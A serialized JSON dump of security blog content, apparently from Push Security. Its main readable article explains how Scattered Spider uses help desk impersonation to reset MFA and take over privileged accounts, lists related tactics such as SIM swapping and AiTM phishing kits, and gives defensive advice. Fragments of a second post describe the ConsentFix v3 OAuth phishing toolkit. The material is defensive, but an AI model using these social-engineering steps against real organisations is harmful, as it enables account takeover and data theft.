",{"data":56478,"content":56480,"nodeType":883},{"uri":56479},"https://www.bleepingcomputer.com/news/security/qantas-is-being-extorted-in-recent-data-theft-cyberattack/",[56481],{"data":56482,"marks":56483,"value":56484,"nodeType":864},{},[],"Qantas",{"data":56486,"marks":56487,"value":3731,"nodeType":864},{},[],{"data":56489,"content":56491,"nodeType":883},{"uri":56490},"https://www.bleepingcomputer.com/news/security/scattered-spider-hackers-shift-focus-to-aviation-transportation-firms/",[56492],{"data":56493,"marks":56494,"value":56495,"nodeType":864},{},[],"Hawaiian Airlines",{"data":56497,"marks":56498,"value":902,"nodeType":864},{},[],{"data":56500,"content":56501,"nodeType":883},{"uri":56490},[56502],{"data":56503,"marks":56504,"value":56505,"nodeType":864},{},[],"WestJet",{"data":56507,"marks":56508,"value":1774,"nodeType":864},{},[],{"data":56510,"content":56511,"nodeType":860},{},[56512],{"data":56513,"marks":56514,"value":56515,"nodeType":864},{},[],"The top story from recent campaigns is the use of help desk scams. This typically involves the attacker calling up a company’s help desk with some level of information — at minimum, PII that allows them to impersonate their victim, and sometimes a password, leaning heavily on their native English-speaking abilities to trick the help desk operator into giving them access to a user account. ",{"data":56517,"content":56518,"nodeType":1005},{},[],{"data":56520,"content":56521,"nodeType":1009},{},[56522],{"data":56523,"marks":56524,"value":56525,"nodeType":864},{},[],"Help desk scams 101",{"data":56527,"content":56528,"nodeType":860},{},[56529],{"data":56530,"marks":56531,"value":56532,"nodeType":864},{},[],"The goal of a help desk scam is to get the help desk operator to reset the credentials and/or MFA used to access an account so the attacker can take control of it. They’ll use a variety of backstories and tactics to get that done, but most of the time it’s as simple as saying “I’ve got a new phone, can you remove my existing MFA and allow me to enroll a new one?”",{"data":56534,"content":56535,"nodeType":860},{},[56536],{"data":56537,"marks":56538,"value":56539,"nodeType":864},{},[],"From there, the attacker is then sent an MFA reset link via email or SMS. Usually, this would be sent to, for example, a number on file — but at this point, the attacker has already established trust and bypassed the help desk process to a degree. So asking “can you send it to this email address” or “I’ve actually got a new number too, can you send it to…” gets this sent directly to the attacker. ",{"data":56541,"content":56542,"nodeType":860},{},[56543,56547,56552],{"data":56544,"marks":56545,"value":56546,"nodeType":864},{},[],"At this point, it’s simply a case of using the self service password reset functionality for Okta or Entra (which you can get around because you now have the MFA factor to verify yourself) and ",{"data":56548,"marks":56549,"value":56551,"nodeType":864},{},[56550],{"type":2246},"voila",{"data":56553,"marks":56554,"value":56555,"nodeType":864},{},[],", the attacker has taken control of the account. ",{"data":56557,"content":56558,"nodeType":860},{},[56559],{"data":56560,"marks":56561,"value":56562,"nodeType":864},{},[],"And the best part? Most help desks have the same process for every account — it doesn’t matter who you’re impersonating or which account you’re trying to reset. So, attackers are specifically targeting accounts likely to have top tier admin privileges — meaning once they get in, progressing the attack is trivial and much of the typical privilege escalation and lateral movement is removed from the attack path. ",{"data":56564,"content":56565,"nodeType":860},{},[56566],{"data":56567,"marks":56568,"value":56569,"nodeType":864},{},[],"So, help desk scams have proved to be a reliable way of bypassing MFA and achieving account takeover — the foothold from which to launch the rest of an attack, such as stealing data, deploying ransomware, etc. ",{"data":56571,"content":56572,"nodeType":1005},{},[],{"data":56574,"content":56575,"nodeType":1009},{},[56576],{"data":56577,"marks":56578,"value":56579,"nodeType":864},{},[],"Avoiding help desk gotchas",{"data":56581,"content":56582,"nodeType":860},{},[56583],{"data":56584,"marks":56585,"value":56586,"nodeType":864},{},[],"There’s lots of advice for securing help desks being circulated, but much of the advice still results in a process that is either phishable or difficult to implement. ",{"data":56588,"content":56589,"nodeType":860},{},[56590],{"data":56591,"marks":56592,"value":56593,"nodeType":864},{},[],"Ultimately, organizations need to be prepared to introduce friction to their help desk process and either delay or deny requests in situations where there’s significant risk. So, for example, having a process for MFA reset that recognizes the risk associated with resetting a high-privileged account:",{"data":56595,"content":56596,"nodeType":941},{},[56597,56607,56617],{"data":56598,"content":56599,"nodeType":945},{},[56600],{"data":56601,"content":56602,"nodeType":860},{},[56603],{"data":56604,"marks":56605,"value":56606,"nodeType":864},{},[],"Require multi-party approval / escalation for admin-level account resets",{"data":56608,"content":56609,"nodeType":945},{},[56610],{"data":56611,"content":56612,"nodeType":860},{},[56613],{"data":56614,"marks":56615,"value":56616,"nodeType":864},{},[],"Require in-person verification if the process can’t be followed remotely",{"data":56618,"content":56619,"nodeType":945},{},[56620],{"data":56621,"content":56622,"nodeType":860},{},[56623],{"data":56624,"marks":56625,"value":56626,"nodeType":864},{},[],"Freeze self-service resets when suspicious behavior is encountered (this would require some kind of internal process and awareness training to raise the alarm if an attack is suspected)",{"data":56628,"content":56629,"nodeType":860},{},[56630],{"data":56631,"marks":56632,"value":56633,"nodeType":864},{},[],"And watch out for these gotchas: ",{"data":56635,"content":56636,"nodeType":941},{},[56637,56647],{"data":56638,"content":56639,"nodeType":945},{},[56640],{"data":56641,"content":56642,"nodeType":860},{},[56643],{"data":56644,"marks":56645,"value":56646,"nodeType":864},{},[],"If you receive a call, good practice is to terminate the call and dial the number on file for the employee. But, in a world of SIM swapping, this isn’t a foolproof solution — you could just be re-dialing the attacker. ",{"data":56648,"content":56649,"nodeType":945},{},[56650],{"data":56651,"content":56652,"nodeType":860},{},[56653],{"data":56654,"marks":56655,"value":56656,"nodeType":864},{},[],"If your solution is to get the employee on camera, increasingly sophisticated deepfakes can thwart this approach.  ",{"data":56658,"content":56659,"nodeType":860},{},[56660],{"data":56661,"marks":56662,"value":56663,"nodeType":864},{},[],"But, help desks are a target for a reason. They’re “helpful” by nature. This is usually reflected in how they’re operated and performance measured — delays won’t help you to hit those SLAs! Ultimately, a process only works if employees are willing to adhere to it — and can’t be socially engineered to break it. Help desks that are removed from day-to-day operations (especially when outsourced or offshored) are also inherently susceptible to attacks where employees are impersonated. ",{"data":56665,"content":56666,"nodeType":1005},{},[],{"data":56668,"content":56669,"nodeType":1009},{},[56670],{"data":56671,"marks":56672,"value":56673,"nodeType":864},{},[],"Comparing help desk scams with other approaches",{"data":56675,"content":56676,"nodeType":860},{},[56677],{"data":56678,"marks":56679,"value":56680,"nodeType":864},{},[],"Taking a step back, it’s worth thinking about how help desk scams fit into the wider toolkit of tactics, techniques and procedures (TTPs) used by threat actors like Scattered Spider. ",{"data":56682,"content":56683,"nodeType":860},{},[56684,56687,56696],{"data":56685,"marks":56686,"value":21,"nodeType":864},{},[],{"data":56688,"content":56690,"nodeType":883},{"uri":56689},"https://pushsecurity.com/blog/scattered-spider-ttp-evolution-in-2025/",[56691],{"data":56692,"marks":56693,"value":56695,"nodeType":864},{},[56694],{"type":1455},"Scattered Spider has heavily relied on identity-based TTPs since they first emerged in 2022",{"data":56697,"marks":56698,"value":56699,"nodeType":864},{},[],", following a repeatable path of bypassing MFA, achieving account takeover on privileged accounts, stealing data from cloud services, and deploying ransomware (principally to VMware environments). ",{"data":56701,"content":56702,"nodeType":941},{},[56703,56713,56723,56744,56754,56764],{"data":56704,"content":56705,"nodeType":945},{},[56706],{"data":56707,"content":56708,"nodeType":860},{},[56709],{"data":56710,"marks":56711,"value":56712,"nodeType":864},{},[],"Credential phishing via email and SMS (smishing) to harvest passwords en masse",{"data":56714,"content":56715,"nodeType":945},{},[56716],{"data":56717,"content":56718,"nodeType":860},{},[56719],{"data":56720,"marks":56721,"value":56722,"nodeType":864},{},[],"Using SIM swapping (where you get the carrier to transfer a number to your attacker-controlled SIM card) to bypass SMS-based MFA",{"data":56724,"content":56725,"nodeType":945},{},[56726],{"data":56727,"content":56728,"nodeType":860},{},[56729,56733,56740],{"data":56730,"marks":56731,"value":56732,"nodeType":864},{},[],"Using ",{"data":56734,"content":56735,"nodeType":883},{"uri":55593},[56736],{"data":56737,"marks":56738,"value":55598,"nodeType":864},{},[56739],{"type":1455},{"data":56741,"marks":56742,"value":56743,"nodeType":864},{},[]," (aka. push bombing) to bypass app-based push authentication",{"data":56745,"content":56746,"nodeType":945},{},[56747],{"data":56748,"content":56749,"nodeType":860},{},[56750],{"data":56751,"marks":56752,"value":56753,"nodeType":864},{},[],"Using vishing (i.e. directly calling a victim to social engineer their MFA code, as opposed to a help desk attack)",{"data":56755,"content":56756,"nodeType":945},{},[56757],{"data":56758,"content":56759,"nodeType":860},{},[56760],{"data":56761,"marks":56762,"value":56763,"nodeType":864},{},[],"Social engineering domain registrars to take control of the target organization’s DNS, hijacking their MX records and inbound mail, and using this to take over the company’s business app environments ",{"data":56765,"content":56766,"nodeType":945},{},[56767],{"data":56768,"content":56769,"nodeType":860},{},[56770,56774,56783],{"data":56771,"marks":56772,"value":56773,"nodeType":864},{},[],"And latterly, using ",{"data":56775,"content":56777,"nodeType":883},{"uri":56776},"https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/",[56778],{"data":56779,"marks":56780,"value":56782,"nodeType":864},{},[56781],{"type":1455},"MFA-bypass AiTM phishing kits like Evilginx",{"data":56784,"marks":56785,"value":56786,"nodeType":864},{},[]," to steal live user sessions, bypassing all common forms of MFA (with the exception of WebAuthn/FIDO2) ",{"data":56788,"content":56789,"nodeType":860},{},[56790],{"data":56791,"marks":56792,"value":56793,"nodeType":864},{},[],"So, help desk scams are an important part of their toolkit, but it’s not the whole picture. Methods like AiTM in particular have spiked in popularity this year as a reliable and scalable way of bypassing MFA and achieving account takeover, with attackers using these toolkits as the de facto standard, getting creative in their detection evasion methods and in some cases, evading standard delivery vectors like email altogether to ensure the success of their phishing campaigns. ",{"data":56795,"content":56799,"nodeType":996},{"target":56796},{"sys":56797},{"id":56798,"type":1001,"linkType":1002},"2F2dpOkyXWnrKgFC3dSl67",[],{"data":56801,"content":56802,"nodeType":1005},{},[],{"data":56804,"content":56805,"nodeType":1009},{},[56806],{"data":56807,"marks":56808,"value":56809,"nodeType":864},{},[],"Stop identity attacks with Push Security",{"data":56811,"content":56812,"nodeType":860},{},[56813],{"data":56814,"marks":56815,"value":56816,"nodeType":864},{},[],"Modern attacks no longer take place on the endpoint or network — they target identities created and used via the web browser. This means that attacks increasingly take place in the browser (or rather, on resources your employees access through the browser). ",{"data":56818,"content":56819,"nodeType":860},{},[56820],{"data":56821,"marks":56822,"value":56823,"nodeType":864},{},[],"Push Security’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use, like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more. ",{"data":56825,"content":56829,"nodeType":996},{"target":56826},{"sys":56827},{"id":56828,"type":1001,"linkType":1002},"4atESpAAPAC0zP8CO4m8oa",[],{"data":56831,"content":56832,"nodeType":860},{},[56833,56837,56847],{"data":56834,"marks":56835,"value":56836,"nodeType":864},{},[],"To help combat help desk scams, we recently released ",{"data":56838,"content":56840,"nodeType":883},{"uri":56839},"https://pushsecurity.com/blog/employee-identity-verification-codes-release/",[56841],{"data":56842,"marks":56843,"value":56846,"nodeType":864},{},[56844,56845],{"type":1455},{"type":899},"Employee Identity Verification Codes",{"data":56848,"marks":56849,"value":56850,"nodeType":864},{},[]," — a simple, browser-based identity check that gives your help desk a reliable way to confirm they’re talking to someone from your organization.",{"data":56852,"content":56856,"nodeType":996},{"target":56853},{"sys":56854},{"id":56855,"type":1001,"linkType":1002},"1TEpCjh8UGwmejgYSGC1by",[],{"data":56858,"content":56859,"nodeType":860},{},[56860],{"data":56861,"marks":56862,"value":56863,"nodeType":864},{},[],"It enables legitimate help desk callers to quickly verify that they’re in possession of their primary device (i.e. laptop) by relaying a rotating 6-digit verification code in their browser via the Push extension. This is a great way to securely confirm caller identity and sniff out fraudulent callers, and can be used as part of a phishing-resistant help desk process. ",{"data":56865,"content":56866,"nodeType":1005},{},[],{"data":56868,"content":56869,"nodeType":1009},{},[56870],{"data":56871,"marks":56872,"value":56873,"nodeType":864},{},[],"Get started today!",{"data":56875,"content":56876,"nodeType":860},{},[56877,56881,56890],{"data":56878,"marks":56879,"value":56880,"nodeType":864},{},[],"You can use Employee Verification Codes as a free tool by installing the Push browser extension. Simply ",{"data":56882,"content":56884,"nodeType":883},{"uri":56883},"https://pushsecurity.com/free-tool/employee-verification-codes",[56885],{"data":56886,"marks":56887,"value":56889,"nodeType":864},{},[56888],{"type":1455},"sign up for a trial account and you can deploy the extension organization-wide to make use of this feature",{"data":56891,"marks":56892,"value":56893,"nodeType":864},{},[],". While you’re at it, you can trial Push’s full features for up to 10 users for free. ",{"data":56895,"content":56896,"nodeType":860},{},[56897,56901,56908],{"data":56898,"marks":56899,"value":56900,"nodeType":864},{},[],"Or if you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":56902,"content":56903,"nodeType":883},{"uri":5642},[56904],{"data":56905,"marks":56906,"value":25633,"nodeType":864},{},[56907],{"type":1455},{"data":56909,"marks":56910,"value":2924,"nodeType":864},{},[],{"data":56912,"content":56916,"nodeType":996},{"target":56913},{"sys":56914},{"id":56915,"type":1001,"linkType":1002},"6Td0hDBYdeT8tlnnfwipmD",[],{"data":56918,"content":56919,"nodeType":860},{},[56920],{"data":56921,"marks":56922,"value":21,"nodeType":864},{},[],"Scattered Spider: Understanding help desk scams and how to defend your organization","Scattered Spider has dominated the headlines in recent months with a consistent focus on help desk scams. Here's what you need to know to protect your business.","2025-06-27T00:00:00.000Z","scattered-spider-defending-against-help-desk-scams",{"items":56928},[56929,56931],{"sys":56930,"name":6593},{"id":6592},{"sys":56932,"name":342},{"id":6596},{"items":56934},[56935],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":56936},{"url":2740},"blog/inside-criminal-phishing-panel",{"json":56939},{"data":56940,"content":56941,"nodeType":856},{},[56942],{"data":56943,"content":56944,"nodeType":860},{},[56945],{"data":56946,"marks":56947,"value":28011,"nodeType":864},{},[],{"id":26113,"publishedAt":56949},"2026-08-12T12:01:02.042Z",{"items":56951},[56952,56954],{"sys":56953,"name":6593},{"id":6592},{"sys":56955,"name":342},{"id":6596},{"items":56957},[56958,56960,56962,56964,56966,56968,56970,56972,56974,56976,56978,56980,56982,56984],{"sys":56959,"name":279,"slug":280,"tier":31},{"id":276},{"sys":56961,"name":519,"slug":520,"tier":31},{"id":516},{"sys":56963,"name":413,"slug":414,"tier":31},{"id":410},{"sys":56965,"name":342,"slug":343,"tier":31},{"id":339},{"sys":56967,"name":511,"slug":512,"tier":45},{"id":508},{"sys":56969,"name":261,"slug":262,"tier":45},{"id":258},{"sys":56971,"name":650,"slug":651,"tier":45},{"id":647},{"sys":56973,"name":466,"slug":467,"tier":45},{"id":463},{"sys":56975,"name":571,"slug":572,"tier":45},{"id":568},{"sys":56977,"name":244,"slug":245,"tier":45},{"id":241},{"sys":56979,"name":324,"slug":325,"tier":45},{"id":321},{"sys":56981,"name":607,"slug":608,"tier":45},{"id":604},{"sys":56983,"name":475,"slug":476,"tier":45},{"id":472},{"sys":56985,"name":404,"slug":405,"tier":45},{"id":401},"N0vOV2VIW5hy8pMM0BbvNcTuREBRP3N1gHaQp2C33sk",{"id":56988,"title":55322,"authorsCollection":56989,"content":56994,"extension":228,"faqItemsCollection":57690,"faqTitle":59,"featured":6,"hashTags":59,"meta":57692,"metaTitle":57693,"ogImage":59,"postType":5740,"publishedDate":55324,"relatedBlogPostsCollection":57694,"slug":55325,"stem":62098,"subtitle":59,"summary":62099,"synopsis":55323,"sys":62115,"tagsCollection":62117,"topicsCollection":62123,"__hash__":62145},"blog/blog/consentfix-v3-analyzing-a-new-toolkit.json",{"items":56990},[56991],{"fullName":2736,"firstName":2737,"jobTitle":2738,"socialLinks":56992,"profilePicture":56993},[20565],{"url":2740},{"json":56995,"links":57485},{"data":56996,"content":56997,"nodeType":856},{},[56998,57014,57020,57025,57031,57036,57052,57057,57062,57065,57072,57088,57093,57098,57103,57118,57124,57131,57137,57143,57149,57152,57159,57175,57196,57201,57206,57212,57218,57224,57227,57234,57250,57276,57282,57287,57290,57297,57303,57306,57313,57319,57326,57342,57358,57364,57369,57376,57382,57388,57391,57398,57404,57409,57425,57430,57436,57443,57449],{"data":56999,"content":57000,"nodeType":860},{},[57001,57004,57011],{"data":57002,"marks":57003,"value":54773,"nodeType":864},{},[],{"data":57005,"content":57006,"nodeType":883},{"uri":6036},[57007],{"data":57008,"marks":57009,"value":6041,"nodeType":864},{},[57010],{"type":1455},{"data":57012,"marks":57013,"value":54784,"nodeType":864},{},[],{"data":57015,"content":57016,"nodeType":860},{},[57017],{"data":57018,"marks":57019,"value":54791,"nodeType":864},{},[],{"data":57021,"content":57024,"nodeType":996},{"target":57022},{"sys":57023},{"id":54796,"type":1001,"linkType":1002},[],{"data":57026,"content":57027,"nodeType":860},{},[57028],{"data":57029,"marks":57030,"value":54804,"nodeType":864},{},[],{"data":57032,"content":57035,"nodeType":996},{"target":57033},{"sys":57034},{"id":54809,"type":1001,"linkType":1002},[],{"data":57037,"content":57038,"nodeType":860},{},[57039,57042,57049],{"data":57040,"marks":57041,"value":54817,"nodeType":864},{},[],{"data":57043,"content":57044,"nodeType":883},{"uri":6063},[57045],{"data":57046,"marks":57047,"value":54825,"nodeType":864},{},[57048],{"type":1455},{"data":57050,"marks":57051,"value":54829,"nodeType":864},{},[],{"data":57053,"content":57056,"nodeType":996},{"target":57054},{"sys":57055},{"id":54834,"type":1001,"linkType":1002},[],{"data":57058,"content":57061,"nodeType":996},{"target":57059},{"sys":57060},{"id":54840,"type":1001,"linkType":1002},[],{"data":57063,"content":57064,"nodeType":1005},{},[],{"data":57066,"content":57067,"nodeType":1009},{},[57068],{"data":57069,"marks":57070,"value":54852,"nodeType":864},{},[57071],{"type":899},{"data":57073,"content":57074,"nodeType":860},{},[57075,57078,57085],{"data":57076,"marks":57077,"value":54859,"nodeType":864},{},[],{"data":57079,"content":57080,"nodeType":883},{"uri":54862},[57081],{"data":57082,"marks":57083,"value":54868,"nodeType":864},{},[57084],{"type":1455},{"data":57086,"marks":57087,"value":54872,"nodeType":864},{},[],{"data":57089,"content":57092,"nodeType":996},{"target":57090},{"sys":57091},{"id":54877,"type":1001,"linkType":1002},[],{"data":57094,"content":57097,"nodeType":996},{"target":57095},{"sys":57096},{"id":54883,"type":1001,"linkType":1002},[],{"data":57099,"content":57102,"nodeType":996},{"target":57100},{"sys":57101},{"id":54889,"type":1001,"linkType":1002},[],{"data":57104,"content":57105,"nodeType":860},{},[57106,57109,57115],{"data":57107,"marks":57108,"value":54897,"nodeType":864},{},[],{"data":57110,"content":57111,"nodeType":883},{"uri":3259},[57112],{"data":57113,"marks":57114,"value":28273,"nodeType":864},{},[],{"data":57116,"marks":57117,"value":54907,"nodeType":864},{},[],{"data":57119,"content":57120,"nodeType":860},{},[57121],{"data":57122,"marks":57123,"value":54914,"nodeType":864},{},[],{"data":57125,"content":57126,"nodeType":1312},{},[57127],{"data":57128,"marks":57129,"value":54922,"nodeType":864},{},[57130],{"type":899},{"data":57132,"content":57133,"nodeType":860},{},[57134],{"data":57135,"marks":57136,"value":54929,"nodeType":864},{},[],{"data":57138,"content":57139,"nodeType":860},{},[57140],{"data":57141,"marks":57142,"value":54936,"nodeType":864},{},[],{"data":57144,"content":57145,"nodeType":860},{},[57146],{"data":57147,"marks":57148,"value":54943,"nodeType":864},{},[],{"data":57150,"content":57151,"nodeType":1005},{},[],{"data":57153,"content":57154,"nodeType":1009},{},[57155],{"data":57156,"marks":57157,"value":54954,"nodeType":864},{},[57158],{"type":899},{"data":57160,"content":57161,"nodeType":860},{},[57162,57165,57172],{"data":57163,"marks":57164,"value":54961,"nodeType":864},{},[],{"data":57166,"content":57167,"nodeType":883},{"uri":3259},[57168],{"data":57169,"marks":57170,"value":28273,"nodeType":864},{},[57171],{"type":1455},{"data":57173,"marks":57174,"value":54972,"nodeType":864},{},[],{"data":57176,"content":57177,"nodeType":941},{},[57178,57187],{"data":57179,"content":57180,"nodeType":945},{},[57181],{"data":57182,"content":57183,"nodeType":860},{},[57184],{"data":57185,"marks":57186,"value":54985,"nodeType":864},{},[],{"data":57188,"content":57189,"nodeType":945},{},[57190],{"data":57191,"content":57192,"nodeType":860},{},[57193],{"data":57194,"marks":57195,"value":54995,"nodeType":864},{},[],{"data":57197,"content":57200,"nodeType":996},{"target":57198},{"sys":57199},{"id":54834,"type":1001,"linkType":1002},[],{"data":57202,"content":57205,"nodeType":996},{"target":57203},{"sys":57204},{"id":6136,"type":1001,"linkType":1002},[],{"data":57207,"content":57208,"nodeType":860},{},[57209],{"data":57210,"marks":57211,"value":55012,"nodeType":864},{},[],{"data":57213,"content":57214,"nodeType":860},{},[57215],{"data":57216,"marks":57217,"value":55019,"nodeType":864},{},[],{"data":57219,"content":57220,"nodeType":860},{},[57221],{"data":57222,"marks":57223,"value":55026,"nodeType":864},{},[],{"data":57225,"content":57226,"nodeType":1005},{},[],{"data":57228,"content":57229,"nodeType":1009},{},[57230],{"data":57231,"marks":57232,"value":55037,"nodeType":864},{},[57233],{"type":899},{"data":57235,"content":57236,"nodeType":860},{},[57237,57240,57247],{"data":57238,"marks":57239,"value":55044,"nodeType":864},{},[],{"data":57241,"content":57242,"nodeType":883},{"uri":3259},[57243],{"data":57244,"marks":57245,"value":360,"nodeType":864},{},[57246],{"type":1455},{"data":57248,"marks":57249,"value":55055,"nodeType":864},{},[],{"data":57251,"content":57252,"nodeType":860},{},[57253,57256,57263,57266,57273],{"data":57254,"marks":57255,"value":55062,"nodeType":864},{},[],{"data":57257,"content":57258,"nodeType":883},{"uri":55065},[57259],{"data":57260,"marks":57261,"value":55071,"nodeType":864},{},[57262],{"type":1455},{"data":57264,"marks":57265,"value":55075,"nodeType":864},{},[],{"data":57267,"content":57268,"nodeType":883},{"uri":55078},[57269],{"data":57270,"marks":57271,"value":55084,"nodeType":864},{},[57272],{"type":1455},{"data":57274,"marks":57275,"value":55088,"nodeType":864},{},[],{"data":57277,"content":57278,"nodeType":860},{},[57279],{"data":57280,"marks":57281,"value":55095,"nodeType":864},{},[],{"data":57283,"content":57286,"nodeType":996},{"target":57284},{"sys":57285},{"id":55100,"type":1001,"linkType":1002},[],{"data":57288,"content":57289,"nodeType":1005},{},[],{"data":57291,"content":57292,"nodeType":1009},{},[57293],{"data":57294,"marks":57295,"value":55112,"nodeType":864},{},[57296],{"type":899},{"data":57298,"content":57299,"nodeType":860},{},[57300],{"data":57301,"marks":57302,"value":55119,"nodeType":864},{},[],{"data":57304,"content":57305,"nodeType":1005},{},[],{"data":57307,"content":57308,"nodeType":1009},{},[57309],{"data":57310,"marks":57311,"value":31416,"nodeType":864},{},[57312],{"type":899},{"data":57314,"content":57315,"nodeType":860},{},[57316],{"data":57317,"marks":57318,"value":55136,"nodeType":864},{},[],{"data":57320,"content":57321,"nodeType":1312},{},[57322],{"data":57323,"marks":57324,"value":55144,"nodeType":864},{},[57325],{"type":899},{"data":57327,"content":57328,"nodeType":860},{},[57329,57332,57339],{"data":57330,"marks":57331,"value":55151,"nodeType":864},{},[],{"data":57333,"content":57334,"nodeType":883},{"uri":31440},[57335],{"data":57336,"marks":57337,"value":55159,"nodeType":864},{},[57338],{"type":1455},{"data":57340,"marks":57341,"value":55163,"nodeType":864},{},[],{"data":57343,"content":57344,"nodeType":860},{},[57345,57348,57355],{"data":57346,"marks":57347,"value":55170,"nodeType":864},{},[],{"data":57349,"content":57350,"nodeType":883},{"uri":55173},[57351],{"data":57352,"marks":57353,"value":55179,"nodeType":864},{},[57354],{"type":1455},{"data":57356,"marks":57357,"value":55183,"nodeType":864},{},[],{"data":57359,"content":57360,"nodeType":860},{},[57361],{"data":57362,"marks":57363,"value":55190,"nodeType":864},{},[],{"data":57365,"content":57368,"nodeType":996},{"target":57366},{"sys":57367},{"id":55195,"type":1001,"linkType":1002},[],{"data":57370,"content":57371,"nodeType":1312},{},[57372],{"data":57373,"marks":57374,"value":55204,"nodeType":864},{},[57375],{"type":899},{"data":57377,"content":57378,"nodeType":860},{},[57379],{"data":57380,"marks":57381,"value":55211,"nodeType":864},{},[],{"data":57383,"content":57384,"nodeType":860},{},[57385],{"data":57386,"marks":57387,"value":55218,"nodeType":864},{},[],{"data":57389,"content":57390,"nodeType":1005},{},[],{"data":57392,"content":57393,"nodeType":1009},{},[57394],{"data":57395,"marks":57396,"value":13350,"nodeType":864},{},[57397],{"type":899},{"data":57399,"content":57400,"nodeType":860},{},[57401],{"data":57402,"marks":57403,"value":55235,"nodeType":864},{},[],{"data":57405,"content":57408,"nodeType":996},{"target":57406},{"sys":57407},{"id":55240,"type":1001,"linkType":1002},[],{"data":57410,"content":57411,"nodeType":860},{},[57412,57415,57422],{"data":57413,"marks":57414,"value":31522,"nodeType":864},{},[],{"data":57416,"content":57417,"nodeType":883},{"uri":31525},[57418],{"data":57419,"marks":57420,"value":31531,"nodeType":864},{},[57421],{"type":1455},{"data":57423,"marks":57424,"value":55258,"nodeType":864},{},[],{"data":57426,"content":57429,"nodeType":996},{"target":57427},{"sys":57428},{"id":55263,"type":1001,"linkType":1002},[],{"data":57431,"content":57432,"nodeType":860},{},[57433],{"data":57434,"marks":57435,"value":55271,"nodeType":864},{},[],{"data":57437,"content":57438,"nodeType":1312},{},[57439],{"data":57440,"marks":57441,"value":3578,"nodeType":864},{},[57442],{"type":899},{"data":57444,"content":57445,"nodeType":860},{},[57446],{"data":57447,"marks":57448,"value":55285,"nodeType":864},{},[],{"data":57450,"content":57451,"nodeType":860},{},[57452,57455,57462,57465,57472,57475,57482],{"data":57453,"marks":57454,"value":31569,"nodeType":864},{},[],{"data":57456,"content":57457,"nodeType":883},{"uri":25603},[57458],{"data":57459,"marks":57460,"value":25609,"nodeType":864},{},[57461],{"type":1455},{"data":57463,"marks":57464,"value":3731,"nodeType":864},{},[],{"data":57466,"content":57467,"nodeType":883},{"uri":25615},[57468],{"data":57469,"marks":57470,"value":31587,"nodeType":864},{},[57471],{"type":1455},{"data":57473,"marks":57474,"value":25625,"nodeType":864},{},[],{"data":57476,"content":57477,"nodeType":883},{"uri":1700},[57478],{"data":57479,"marks":57480,"value":25633,"nodeType":864},{},[57481],{"type":1455},{"data":57483,"marks":57484,"value":2924,"nodeType":864},{},[],{"entries":57486},{"hyperlink":57487,"inline":57488,"block":57489},[],[],[57490,57495,57520,57526,57565,57572,57578,57581,57587,57650,57676,57683],{"sys":57491,"__typename":1724,"title":57492,"caption":57492,"layoutMode":59,"file":57493},{"id":54796},"ConsentFix attack breakdown: The victim is tricked into copy-and-pasting a URL containing OAuth key material into a phishing page.",{"url":57494,"width":1736,"height":16},"https://images.ctfassets.net/y1cdw1ablpvd/tbetqlx85alVSg3LbHw8m/793ee588bd0347f6d1497b882b4a9f3f/image6.png",{"sys":57496,"__typename":1740,"content":57497,"name":57519,"title":59},{"id":54809},{"json":57498},{"nodeType":856,"data":57499,"content":57500},{},[57501],{"nodeType":860,"data":57502,"content":57503},{},[57504,57508,57515],{"nodeType":864,"value":57505,"marks":57506,"data":57507},"This attack is best understood as post-authentication. If the victim is already signed in to Microsoft in their browser, they simply need to select their account name from a drop-down menu. There’s almost no friction — no credential entry or MFA checks. This is very similar to ",[],{},{"nodeType":883,"data":57509,"content":57510},{"uri":3259},[57511],{"nodeType":864,"value":28273,"marks":57512,"data":57514},[57513],{"type":1455},{},{"nodeType":864,"value":57516,"marks":57517,"data":57518},", another OAuth-based phishing technique, which we’ve seen increase 37x this year. More on that later. ",[],{},"ConsentFix v3 IB1",{"sys":57521,"__typename":1724,"title":57522,"caption":57522,"layoutMode":59,"file":57523},{"id":54834},"John Hammond showed off a slick new ConsentFix implementation.",{"url":57524,"width":57525,"height":21216},"https://images.ctfassets.net/y1cdw1ablpvd/1bjvJgwJQYYITray4cgquD/056744beab8fd24153b1c42b73090aeb/consentfix_v2.gif",1280,{"sys":57527,"__typename":1740,"content":57528,"name":57564,"title":59},{"id":54840},{"json":57529},{"nodeType":856,"data":57530,"content":57531},{},[57532],{"nodeType":860,"data":57533,"content":57534},{},[57535,57539,57547,57551,57560],{"nodeType":864,"value":57536,"marks":57537,"data":57538},"We recently joined forces with John in a webinar where we showed off ConsentFix along with a host of other browser-based attacks. If you joined us, you’ll have already had a quick look at what we’re about to talk about below! ",[],{},{"nodeType":883,"data":57540,"content":57541},{"uri":36750},[57542],{"nodeType":864,"value":57543,"marks":57544,"data":57546},"You can watch it on-demand here.",[57545],{"type":1455},{},{"nodeType":864,"value":57548,"marks":57549,"data":57550}," And you can watch John’s follow up on ",[],{},{"nodeType":883,"data":57552,"content":57554},{"uri":57553},"https://www.youtube.com/watch?v=T3oVdPCMDJw",[57555],{"nodeType":864,"value":57556,"marks":57557,"data":57559},"ConsentFix v3",[57558],{"type":1455},{},{"nodeType":864,"value":57561,"marks":57562,"data":57563}," here — definitely worth a watch as always! ",[],{},"ConsentFix v3 IB2",{"sys":57566,"__typename":1724,"title":57567,"caption":57567,"layoutMode":59,"file":57568},{"id":54877},"XSS forum post on ConsentFix v3",{"url":57569,"width":57570,"height":57571},"https://images.ctfassets.net/y1cdw1ablpvd/KSVQYgv1VDhIF19jUcaOc/81fc5771fd4ce4fbe38d0d138f7970a6/image3.png",1915,1079,{"sys":57573,"__typename":1724,"title":57574,"caption":57574,"layoutMode":59,"file":57575},{"id":54883},"Description of ConsentFix v3 complete with summary video.",{"url":57576,"width":57577,"height":57571},"https://images.ctfassets.net/y1cdw1ablpvd/stbiG200DHN4huH6iaCQg/d1db13d4e04c4c528ce35320b05f4d3d/image12.png",1919,{"sys":57579,"__typename":15710,"title":57556,"arcadeDemoUrl":57580,"playText":15713},{"id":54889},"https://demo.arcade.software/BO6Dc4lxhzlgHHvEeWi9?embed",{"sys":57582,"__typename":1724,"title":57583,"caption":57584,"layoutMode":59,"file":57585},{"id":6136},"Device code phishing kit example","Device code 